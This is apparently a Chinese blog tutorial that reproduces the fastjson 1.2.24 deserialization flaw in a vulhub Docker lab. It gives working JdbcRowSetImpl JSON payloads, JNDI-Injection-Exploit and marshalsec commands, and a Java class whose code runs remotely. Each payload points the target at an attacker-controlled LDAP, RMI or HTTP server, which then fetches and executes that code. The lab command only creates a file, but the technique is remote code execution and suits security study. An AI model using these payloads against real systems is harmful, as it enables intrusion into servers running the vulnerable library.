fastjson1.2.24 反序列化漏洞复现

fastjson简介

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
这里json与java对象之间的转换,便是使用的序列化和反序列化,fastjson的反序列化也就是来自这里。
详细介绍:https://www.runoob.com/w3cnote/fastjson-intro.html

漏洞环境

vulhub

仅是复现漏洞可以使用vulbub,直接使用docker启动漏洞环境即可。
环境安装参考以下链接
安装docker:https://blog.csdn.net/BThinker/article/details/123358697
vulhub下载:https://github.com/vulhub/vulhub
使用到的命令:

# 启动
docker-compose up -d
# 查看运行情况
docker ps
# 进入容器
docker exec -it [ID] bash
# 停止容器
docker stop [ID]

漏洞复现

使用JNDI注入测试工具:JNDI-Injection-Exploit-1.0-SNAPSHOT
下载地址:https://gitee.com/yijingsec/JNDI-Injection-Exploit
开启漏洞环境,访问
在这里插入图片描述
构造post请求,可以修改name参数的值
在这里插入图片描述
使用dnslog平台判断是否存在漏洞

{"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://df5789e898.ipv6.1433.eu.org","autoCommit":true}}

在这里插入图片描述
使用JNDI-Injection-Exploit-1.0-SNAPSHOT构造payload利用漏洞
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.232.1
利用成功则会再tmp目录下生成一个success文件
在这里插入图片描述

{"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.232.1:1099/u9plmp","autoCommit":true}}

进入docker查看,利用成功
在这里插入图片描述
也可使用反序列化利用工具 marshalsec,使用起来稍微麻烦一些,需要先构造一个一个恶意类

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

使用javac,编译为class文件,在class目录下使用python开启远程下载python http.server 8888
然后使用以下命令远程加载恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.127
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.99.121:4444/#TouchFile” 9999

具体步骤:https://blog.csdn.net/aetlypdlg_ys/article/details/138752859
marshalsec使用方法参考:https://blog.csdn.net/whatday/article/details/107942941

漏洞详解

源码环境

可使用IDEA,maven添加依赖,源码可参考

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
</dependencies>

直接使用IDEA将vulhub中的jar包复制出来,导入到项目中,即可得到源码。
在这里插入图片描述
重新加载maven,然后运行
在这里插入图片描述

漏洞详解参考

  • 针对fastjson漏洞的代码讲解,基础易懂:https://github.com/Maskhe/javasec/blob/master/9.fastjson-1.2.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md

  • 针对Fastjson系列漏洞的讲解:https://xz.aliyun.com/t/13386,包括序列化与反序列化,漏洞成因,工具原理等,无比详细。

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-21 22:42:02       171 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-21 22:42:02       189 阅读
  3. 在Django里面运行非项目文件

    2024-07-21 22:42:02       157 阅读
  4. Python语言-面向对象

    2024-07-21 22:42:02       170 阅读

热门阅读

  1. 防范缓冲区溢出攻击的方法

    2024-07-21 22:42:02       32 阅读
  2. 【如何使用Python编程】

    2024-07-21 22:42:02       40 阅读
  3. 【Python中的列表是什么】

    2024-07-21 22:42:02       38 阅读
  4. 数学建模--灰色关联分析法

    2024-07-21 22:42:02       39 阅读
  5. 什么是 MLPerf?

    2024-07-21 22:42:02       40 阅读
  6. Docker

    2024-07-21 22:42:02       37 阅读
  7. 代码改进,模型优化,强化深度学习

    2024-07-21 22:42:02       38 阅读
  8. python 基础知识点(一)

    2024-07-21 22:42:02       34 阅读